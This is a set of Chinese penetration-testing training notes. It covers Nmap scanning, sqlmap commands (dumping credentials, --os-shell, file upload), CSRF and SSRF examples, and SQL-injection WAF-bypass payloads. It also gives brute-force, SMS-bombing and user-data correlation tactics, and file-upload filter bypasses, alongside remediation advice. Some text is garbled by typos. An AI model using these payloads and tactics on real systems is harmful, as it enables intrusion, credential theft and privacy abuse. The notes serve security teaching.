实训周笔记

2023-11-11

主机信息收集技术—基础知识:

  • 主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
  • 端口扫描:Nmap

主机信息收集技术—Nmap:

  • namp 192.168.1.1

  • namp   -A    –T4    -v     192.168.1.1
  • -A  开启操作系统识别和版本识别功能
  • -T  0-6档,设置扫描的快慢,0最慢,6最快; 级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现; 一般选择T4
  • -v  显示信息的级别,-vv 显示更详细的信息
  • 192.168.1.1  扫描单个目标
  • 192.168.1.1  192.168.1.5  …    扫描多个目标
  • 192.168.1.1/24  扫描C段   或者 192.168.1.1-254
  • namp   -A    –T4    -v     -iL     ~/targets.txt
  • -iL  表示要扫描的目标位于一个文档中
  • namp   -A    –T4    -v   192.168.1.1/24  --exclude  192.168.1.100--exclude  (192.168.1.100   表示排除在外的目标)
  • namp   -A    –T4    -v   192.168.1.1/24  --excludefile   ~/targets.txt--excludefile (~/targets.txt   表示排除在外的目标包含在一个文档中)
  • namp   192.168.1.1   -p  80,443 (-p  80,443   表示扫描特点端口,如果不用-p指定端口,  默认扫描1000个常用端口)
  • namp   --traceroute   192.168.1.1(--traceroute  探测路由)
  • namp   -O  192.168.1.1  (-O  对目标进行指纹识别)
  • namp   -sV  192.168.1.1  (-sV 对版本进行探测)
  • namp   -sF  -T4  192.168.1.1  (-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。)
  • 状态

    说明

    open

    应用程序在该端口接收 TCP 连接或者 UDP 报文

    closed

    关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听

    filtered

    由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙

    unfiltered

    未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态

    open | filtered

    • 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。

主机信息收集技术—Nmap进阶:

  • 扫描脚本介绍:位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts
  • 脚本类型:
  • ll  /usr/share/nmap/scripts | grep ^- | wc -l
  • 使用介绍:nmap --script=auth 192.168.137.*(负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令)
  • nmap --script=brute 192.168.137.*(提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解)
  • nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*(默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。)
  • nmap --script=vuln 192.168.137.*  (检查是否存在常见漏洞)
  • nmap -n -p445 --script=broadcast 192.168.137.4(在局域网内探查更多服务开启状况)

更多https://nmap.org/nsedoc/categories/                   https://blog.csdn.net/whatday/article/details/73823959

主机信息收集技术—zenmap:

zenmap          Nmap 的图形化界面

Sqlmap简介:sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap安装:

1.安装sqlmap前,需要先安装 Python3.X ,下载地址:https://www.python.org/downloads/windows/

2.在环境变量path中,增加python3.x安装路径

3.下载sqlmap并解压缩:地址:https://sqlmap.org/

Python sqlmap.py –u http://xxx.xxx.xxx/

Python sqlmap.py  --help 查看帮助

sqlmap支持五种不同的注入模式:

  1. UNION query SQL injection(可联合查询注入)
  2. uError-based SQL injection(报错型注入)
  3. uBoolean-based blind SQL injection(布尔型注入
  4.  uTime-based blind SQL injection(基于时间延迟注入
  5. uStacked queries SQL injection(可多语句查询注入)

sqlmap常用参数:

  • 设置目标 URL -u /--url  最基本格式: sqlmap -u “http://www.target.com/index.php?id=1”
  • • -m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
  • -r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......
  • --dbs:返回当前连接的数据库
  • --current-db :返回当前网站数据库的数据库用户
  • -D : 指定数据库系统的数据库名
  • --tables :列举数据库表
  • -T: 指定数据库表名
  • --columns: 列举数据库表中的字段
  • -C: 指定数据库表中的字段名
  • --dump: 获取整个表的数据

设置回显等级:

参数:-v 默认为1:0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同事显示HTTP响应页面。

  • 设置HTTP数据包相关参数 参数:--data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" 参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
  • 设置HTTP数据包相关参数 HTTP User-Agent 头 参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
  • sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
  • sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
  • 设定探测等级 --level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。 level>=2的时候就会测试HTTP Cookie。 level>=3的时候就会测试HTTP User-Agent/Referer头。 level=5 的时候会测试HTTP Host。
  • --users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
  • --current-user 在大多数据库中可以获取到管理数据的用户。
  • --is-dba 判断当前的用户是否为管理,是的话会返回True。
  • --proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
  • --os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。

sqlmap“六步”:

第一步:判断是否是注入点 sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"

 第二步:获取数据库:sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs

第三步:查看当前应用程序所用数据库sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db

第四步:列出指定数据库的所有表sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables

 第五步:读取指定表中的字段名称sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"  -D "security" -T  users --colunms

 第六步:读取指定字段内容sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T  users -C username,password --dump

Sqlmap进阶:--level 探测等级一共有5个等级,默认是1。

  • sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。

  • http cookie在2级时可以检测

  • HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限 sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba

 –roles 列出数据库管理员角色:

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

--referer HTTPReferer头:当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

--sql-shell 运行自定义的sql语句:sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

 –os-cmd,–os-shell 运行任意操作系统命令

选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

–file-read 从数据库服务器中读取文件:该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

 

 –file-write –file-dest 上传文件到数据库服务器中:该命令用于写入本地文件到服务器中。Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1   --file-write  ‘c:\user\cisp-pte\desktop\xie1.php’  --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’

 读取指定数据库用户的密码: sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

apostrophemask.py

  • 适用数据库:ALL
  • 作用:将引号替换为utf-8,用于过滤单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

multiplespaces.py

  • 适用数据库:ALL
  • 作用:围绕sql关键字添加多个空格
  • 使用脚本前:tamper('1 UNION SELECT foobar')
  • 使用脚本后:1 UNION SELECT foobar

Burpsuite配置及代理设置:

1. Burpsuite使用前配置

 Burpsuite配置及代理设置:

 Burpsuit功能模块讲解:

这些模块都有什么用呢?

  • Send to spider 发送给爬虫模块
  • DO a active scan 进行一次主动扫描
  • Send to intruder 发送给爆破模块
  • Send to repearter 发送给重放模块 Send to comparer 发送给比对模块
  • Send to decoder 发送给解码模块
  • Request in browser 将请求在浏览器重放

 

2 .Proxy模块HTTP history选项卡

Proxy模块OPTION选项卡 

 Proxy模块导入证书代理HTTPS流量

 User option模块 解决HTTP返回信息中的乱码问题

 3. Scaner模块

 Intruder模块

 Intruder模块爆破模式选择:

1.Sniper:单变量爆破

2.Battering ram :发送给重放模块

3. Pitch fork :多变量同时爆破(无循环)  //即多个字典同时滚动

4.Cluster bomb :多变量循环爆破(有循环)   //即基于多个字典循环遍历

Burpsuit功能模块讲解 Intruder模块

 

 

 

Burpsuit功能模块讲解 Repeater模块 

 Burpsuit功能模块讲解 Decoder模块

 Burpsuit功能模块讲解 Decoder模块

 

 

 CSRF漏洞:介绍CSRF (Cross--site request forgery,跨站请求伪造))也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装成受信任用户请求受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比 XSS 更具危险性。

CSRF漏洞原理:其实可以这样理解 CSRF:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF 能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。 举个例子,你想给某位用户转账 100 元,那么单击“转账”按钮后,发出的 HTTP 请求会与http:/www.xxbank..com/pay.php?user=xx&money=100类似。而攻击者构造链接 (http:/www.xxbank.com/pay.php?user=hack&money=100),当目标用户访问了该 URL 后,就会自动向 Hack 账号转账 100 元,而且这只涉及目标用户的操作,攻击者并没有获取目标用户的 cookie 或其他信息。 CSRF 的攻击过程有以下两个重点。·目标用户已经登录了网站,能够执行网站的功能。 ·目标用户访问了攻击者构造的 URL。

靶场实战 – CSRF:漏洞描述: CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

 

 修复建议 :1、验证请求的Referer是否来自本网站,但可被绕过。

                    2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确则丢弃拒绝服务。

漏洞代码分析:

  • 下面的代码是后台添加用户的代码,执行的流程如下所示: 获取 GET 参数 username 和参数 oassword,然后通过 selecti 语句查询是否存在对应的用户,如果用户存在,会通过$SESSION 设置一个 session: isadmin=admin,否则设置 session: isadmin=guest。
  • 接下来判断 session 中的 isadmin 是否为 admin,如果 isadmin! =admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。 获取 POST 参数 username 和参数 oassword,然后插入 users 表中,完成添加用户的操作。

 漏洞代码分析:当管理员访问了攻击者构造的 CSRF 页面后,会自动创建一个账号,CSRF 利用代码如下。 此代码的作用是创建一个 AJAX 请求,请求的 URL 是 http: /Xx.com/csrf.php,参数是 submit=:1&username: =1&password=1, 从上述 PHP 代码中可以看到,此 AJAX 请求就是执行一个添加用户的操作,由于管理员已登录,所以管理员访问链接后就会创建一个新用户。

 

  • 针对 CSRF 漏洞的修复,笔者给出以下这两点建议: 验证请求的 Refererf 值,如果 Referer 是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果 Referer 是其他网站域名或空白,就有可能是 CSRF 攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。
  • CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端验证 token,如果请求中没有 token 或者 token 的内容不正确,则认为该请求可能是 CSRF 攻击从而拒绝该请求

ssrf漏洞介绍:SSRF  (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。

ssrf漏洞原理:SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。 主要攻击方式如下所示。

1.对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 panner 信息。

2.攻击运行在内网或本地的应用程序

3. 对内网 Wb 应用进行指纹识别,识别企业内部的资产信息。

4.攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。

5.利用 file 协议读取本地文件等。

漏洞利用 – ssrf:SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。 页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。       如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容,如图所示。

 漏洞利用 – ssrf:但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务,如图 4-103 所示。

 漏洞利用 – ssrf:访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件,如图所示。

 漏洞代码分析:在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务,代码如下。

 修复建议:针对 SSRF 漏洞的修复,给出以下这几点建议。

1.限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。

2.限制不能访问内网的IP,以防止对内网进行攻击。

3.屏蔽返回的详细信息。

WAF介绍:什么是WAF? WEB应用防火墙 (Web Application Firewall) 定义:通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

 

虚拟补丁

WAF的分类 

  • 硬件WAF
  • 软件WAF
  • 云WAF
  • 内置WAF

WAF工作原理:

WAF指纹识别(常用) :

WAF指纹识别: 

 

 

 

 

 WAF绕过方法:本小节主要介绍 SQL 注入漏洞的绕过方法,其余漏洞的 WAF 绕过方法在原理上是差不多的。

1. 大小写混合 在规则匹配时只针对了特定大写或特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这样的情况),如下所示。 uNion sElEct 1,2,3,4,5

2.URL编码

.极少部分的 WAF 不会对普通字符进行 URL 解码,如下所示。union select 1,2,3,4,5 上述命令将被编码为如下所示的命令。 %75%6E%69%6F%6E%20%73%65%6℃%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%35

.还有一种情况就是 URL 二次编码,WAF 一般只进行一次解码,而如果目标 Wb 系统的代码中进行了额外的 URL 解码,即可进行绕过。union select 1,2,3,4,5 上述命令将被编码为如下所示的命令%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535

3. 替换关键字 WAF采用替换或者删除select/union这类敏感关键饲的时候,如果只匹配次则很容易进行绕过。 union select 1,2,3,4,5 上述命令将转换为如下所示的命令。 unuionion selselectect 1,2,3,4,5

4. 使用注释 注释在截断 SQL 语句中用得比较多,在绕过 WAF 时主要使用其替代空格(/*任意内容*),适用于检测过程中没有识别注释或替换掉了注释的 WAF。 Union select 1,2,3,4,5 上述命令将转换为如下所示的命令。 union/*2333*/select/*aaaa*/1,2,3,4,5 还可以使用内联注释尝试绕过 WAF 的检测。

5. 多参数请求拆分 对于多个参数拼接到同一条$QL 语句中的情况,可以将注入语句分割插入。例如请求 URL 时,GET 参数为如下格式。 a= [input1] &b= [input2] 将 GET 的参数 a 和参数 b 拼接到 SQL 语句中,SQL 语句如下所示。and a= [input1] and b= [input2] 这时就可以将注入语句进行拆分,如下所示。 a=union/*&b=*/select 1,2,3,4 最终将参数 a 和参数 b 拼接,得到的 SQL 语句如下所示。  and a=union /*and b=*/select 1,2,3,4

6.HTTP 参数污染 HTTP 参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数 color=-red&color=-blue 为例) 在上述提到的中间线中,川 S 比较容易利用,可以直接分割带逗号的 SQL 语句。在其余的中间线中,如果 WF 只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与 WAF 相反的参数,则可成功绕过。下面以 IS 为例,一般的 SQL 注入语句如下所示。 Inject=union select 1,2,3,4将 SQL 注入语句转换为以下格式。 Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4 最终在IIS中读入的参数值将如下所示。 Inject=union/*,*/select/*,*/1,2,3,4 7.

7.生僻函数 使用生僻函数替代常见的函数,例如在报错注入中使用卵 oy9on()函数替换常用的 updatexml()函数,如下所示。 SELECT polygon  ((select*from  (select*from  (select@@version) f) X));

8. 寻找网站源站IP 对于具有云WAF防护的网站而言,只要找到网站的IP地址,然后通过IP访问网 站,就可以绕过云 WAF 的检测。 常见的寻找网站IP的方法有下面这几种。

  • 寻找网站的历史解析记录。
  • 多个不同区域 ping 网站,查看 lP 解析的结果。 找网站的二级域名、NS、MX 记录等对应的IP。
  • 订阅网站邮件,查看邮件发送方的IP。

9. 注入参数到 cookies中 某些程序员在代码中使用$REQUEST获取参数,而$REQUEST会依次从GET/POST/cookie中获取参数,如果WAF 只检测了GET/POST 而没有检测 cookie,可以将注入语句放入cookie中进行绕过。

暴力破解漏洞介绍:暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段暴力破解的产生是由于破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如 4 位数字的验证码,那么暴力破解的范围就是 0000~9999,暴力破解的关键在于字典的大小。

靶场实战 – 暴力破解:漏洞描述: 由于没有对登录页面进行相关的人机验证机制,如无验证码、有验证码但可重复利用以及无登录错误次数登录账号和密码。限制等,导致攻击者可通过暴力破解获取用户

 修复建议:

1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)

2、如果某个 IP登录次数超过设置的阈值,则锁定IP

3、增加人机验证机制

4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。

场景1-账户探测:

场景说明:探测用户名存在与否,用户名穷举

方式一:Top500用户名、手机号

  方式二:邮箱、员工编号  

 场景2-指定口令爆破用户名:

1. 指定类123456口令爆破用户名;

2. 正常的top500,top10000帐号;

  3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号;

  4. 一位数字、二位数字、三位数字、四位数字的随机组合  

  5. 厂商名相关帐号   a) 如:facebook、fb_steven …   b) 页面联系邮箱的规则学习及自创建  

场景3-密码爆破:

1. top500, top3000,top10000,自定义密码   a) Top 系列,几乎安全从业都有自己的弱口令字典,常规就好,太大的字典跑起来也费劲,关键是定制     b) 定制字典,pydictor值得推荐:https://github.com/LandGrey/pydictor     c) 社工库的使用,指定用户的历史密码,是一种尝试     2. 厂商特色口令生成,如baidu@123   a) 适用于应用管理员类人员以及主机协议类密码   b) 更多定制类字典也可以pydicor   c) 使用简单密码和厂商邮箱后缀组合  

3. 加密密码暴力破解   a) 普通编码类,如base64   b) 自定义加密算法(目标系统使用了可猜测的加密算法去加密口令)   可参考浮萍写的基于RSA算法加密口令后爆破脚本:     https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py     c) Selenium 自动浏览器提交模块(可适用与不明加密算法,模拟正常操作流) 

4. 弱文件后的后台爆破   a) 弱文件爆破获得后台     b) 后台密码爆破        i. 各大中间件及CMS的口令破解,如weblogic 、tomcat      ii. 自定义后台的密码破解  

5. Webshell 密码爆破   a) Shell 发现(弱文件以及蛛丝马迹)   b) Shell 爆破(有专用工具,也可用burp完成)

  6. 辅助信息   a) Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则   b) 技术运维人员的桌子上面的便签信息(若能接触到目标内部)…

场景4-登陆验证码爆破:

1. 验证码绕过   a) 验证码非必须参数,可省略   b) 验证码不失效,可多次使用   c) 验证码问题集合答案有限,可以遍历后破解   d) 非空逻辑校验,验证码置空 或 去掉校验参数的请求   e.g. ecshop后台暴力破解验证码绕过    

2. 简单验证码识别   https://github.com/fupinglee/CrackCaptcahLogin/releases 类似工具很多,看使用习惯。  

3. 高模糊度验证码识别   a) 一般的识别流程都是二值化、去干扰、区域选择、OCR识别   b) 可用云打码平台 (不打广告)  

场景5-短信/邮箱验证码爆破:

1. 部分登录验证码的分类也可适用于此

  2. 验证码的本身绕过   a) 返回包回显(包括返回包、输出在cookie等)     b) JS控制     c) 返回包控制:True&false控制(0&1),修改返回包可绕过

  3. 4位数字,验证码爆破,很快  

  4. 6位数字,验证码爆破;可根据多线程的前提进行多进程处理,0-199999一波;200000-399999一波…(依次类推);也可以看频率,哪块区间分布的概率较高可重点关注;也可以指定前一位或两位进行爆破。  

  5. 弱token  

场景6-短信/邮箱验证码爆破:

1. 关键参数的的信息遍历(select)   a) 包括用户名

  b) ID号  

c) 手机号

  d) 邮箱  

e) 身份证号

  f) 订单号

  g) 银行卡

  h) 信用卡(e.g 携程乌云漏洞)  

     i. PAN+信用卡到期时间(即:最小的身份验证模块);

       ii. PAN+信用卡到期时间+CVV;    

   iii. PAN+信用卡到期时间+CVV+持卡人地址;  

     iv. From http://t.cn/Rfrsdki     i) …  

2. 批量注册(insert)     逻辑不严谨或校验不严格,实现多帐号的薅羊毛

3. 一套组合拳(也可关联到爬虫):

    a) 两个常见的功能:密码找回、网站论坛

b) 切入点一:从密码找回功能分析,有相当一部分网站,提供账号检测功能,且提示存在与否,根据友情提示以及次数限定情况,可以通过返回包匹配存在的帐号,包括用户名、甚至手机号(其实主要是手机号)。

  c) 切入点二:密码找回功能,输入手机号后会提示…正在找回XXX的密码信息…,这个就是用户名,(若输入用户名,有可能提示正在找回某手机号的密码信息(部分打码))

  d) 切入点三:网站论坛,为了交流,以及用户的活跃度,部分网站存在bbs、club等论坛信息,一般二次开发的Discuz 。 上面会存在关于个人的一些数据,比如用户名(论坛网名)、性别、粉丝情况、帖子情况、联系方式、住址(部分需要登录权限)、还有一些倾向数据,比如购物平台关注的商品;

e) 从这三个切入点来讲,单独哪个可能都影响不足够大,没有达到影响的最大化。从一个数据利用者角度分析,最希望得到与平台性质相关的属性,比如交友网站的性别和联系方式信息,房产网站的倾向房产和联系方式等属性。 那把三个切入点的数据整合起来能得到什么呢?     i. 通过用户检测 获得手机号用户个人信息;     ii. 通过手机号检测,获得用户名信息;   iii. 通过论坛遍历,获得ID和用户名信息;     iv. 通过关联以上数据,可以对应手机号------>用户名 ------>  论坛ID,同样也就意味着获得了某手机号的用户关注了什么的信息。   Demo 说明     用户:188xxxx8888  用户名:HelloWorld  关注:某别墅   用户:138xxxx9999  用户名:52BMW    关注:宝马X6   用户:159xxxx6666  用户名:HelloKitty   就职某金融企业   用户:186xxxx5555  用户名:独孤求败   购买了大疆无人机   针对Demo数据,从一个数据威胁角度来分析,那可以实现精准营销。带来的场景就是另一片天地。 

场景7-爆破关联:

1. 数据重放-短信炸弹  

a) 无任何限制的短信炸弹  

b) 单独手机号存在短信阈值限制,有可能通过间隔符绕过,18888888888,,,与18888888888效果一样;  

c) 针对单独手机号有阈值限制,但可随意轮询其他手机号,同样有危害  

d) 会导致短信网关的资源浪费和流失  

2. 数据重放-邮箱炸弹    相对短信炸弹成本较低,但其逻辑同短信炸弹  

3. 子域名爆破   根据自己平台和习惯选择即可:subDomainsBrute、Layer、FuzzDomain

  4. 子目录、弱文件爆破  

a) 弱文件爆破,对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch 值得拥有(可自定义字典)

  b) 也可以自己写,就是基本的web请求,以及返回包的长度或特征匹配。

  5. Fuzzing 测试  

a) SQL、XSS

  b) 拒绝服务漏洞,例如SPIKE对表单测试特殊字符的异常处理  

场景8-协议口令爆破:

1. SSH RDP FTP MySQL MSSQL …  

a) Fenghuangscan值得推荐,Hydra (Kali自带)值得拥有;

  b) Nmap 也可完成部分破解工作,本身是一个基础工具,但script下的脚本能让你做出不基础的事情

  c) 毕竟直接拿到远控权限事半功倍,可直接获取数据,对于测试来讲还可获取源码,以半审计的方法进行挖掘。  

d) 且有人以此为生(全网抓鸡)

  2. SMTP、VPN协议类  

a) 第一点提到的一些协议,初具成熟均不公开于互联网(当然意识和测试情况也有),但SMTP 和 VPN 类,大部分都有,也是入侵的概率很大的入口点        i. brut3k1t(github有)      ii. 也有自定义的PY脚本      iii. 小技巧点:部分对同一用户有密码失败次数限制,可把循环颠倒过来,用同密码刷一遍用户,在用下一个口令刷一遍用户…

  b) 翻到邮箱,根据信息检索,信息很精准,很有可能获得认证信息

  c) 获得VPN认证,在内网搞事,一不小心就干掉了一个大家伙。

3. 特殊服务类未授权访问或者弱认证  

  a) Redis未授权访问  

b) Jenkins未授权访问  

c) MongoDB未授权访问

  d) ZooKeeper未授权访问  

e) Elasticsearch未授权访问

  f) Memcache未授权访问  

g) Hadoop未授权访问  

h) CouchDB未授权访问  

i) Docker未授权访问  

j) 毕竟这些未授权可以直接getshell或直接获得数据  

漏洞代码分析:服务端处理用户登录的代码如下所示,程序获取 POST 参数 username 和参数password,然后在数据库中查询输入的用户名和密码是否存在,如果存在,则登录成功。但是这里没有对登录的次数做限制,所以只要用户一直尝试登录,就可以进行暴力破解。

 针对暴力破解漏洞的修复,给出以下两点建议。

1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)

2、如果某个 IP登录次数超过设置的阈值,则锁定IP

3、增加人机验证机制

4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。 锁定IP存在的一个问题是:如果多个用户使用的是同一个 IP,则会造成其他用户也不能登录。

文件上传漏洞的概述:现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。

什么是文件上传?上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。

• 上传头像

• 插入图片

• 上传附件 ······

 为什么会有文件上传?在网站运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这个时候需要使用到网站的文件上传功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷

危害:

• 网站被控制

• 服务器沦陷

• 同服务器的其他网站沦陷

常见上传检测规则:

1.服务端 MIME 类型检测 ( 检测 Content-Type 内容)

2.客户端 javascript 检测( 通常为检测文件拓展名)

3.服务端目录路径检测(  检测跟 path 参数相关的内容 )

4.服务端文件名拓展名检测(  检测跟文件 estension 相关的内容 )

5.服务器文件内容检测(检测内容是否合法或含有恶意代码)    

服务端MIME检测:服务端MIME类型检测也就是检测Content-Type的内容。

 服务端文件名拓展检测

基于黑名单检测: 黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。

客户端检测:客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。

判断方式: 在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

服务端目录路径检测:服务端目录路径检测: 一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致。

服务端文件名拓展检测-绕过办法:

文件名大小写绕过(AsP, pHp等等)

黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)

特殊文件名绕过

修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后  windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。

0x00截断绕过

IIS解析漏洞:

6.0 目录解析    xx.asp/xx.txt(jpg)

 6.0 文件解析    xx.asp;.jpg

 7.0/7.5 文件解析 xx.jpg/xx.php

  •  IIS6.0 (Win2003 SP2 + IIS6.0) [Success]
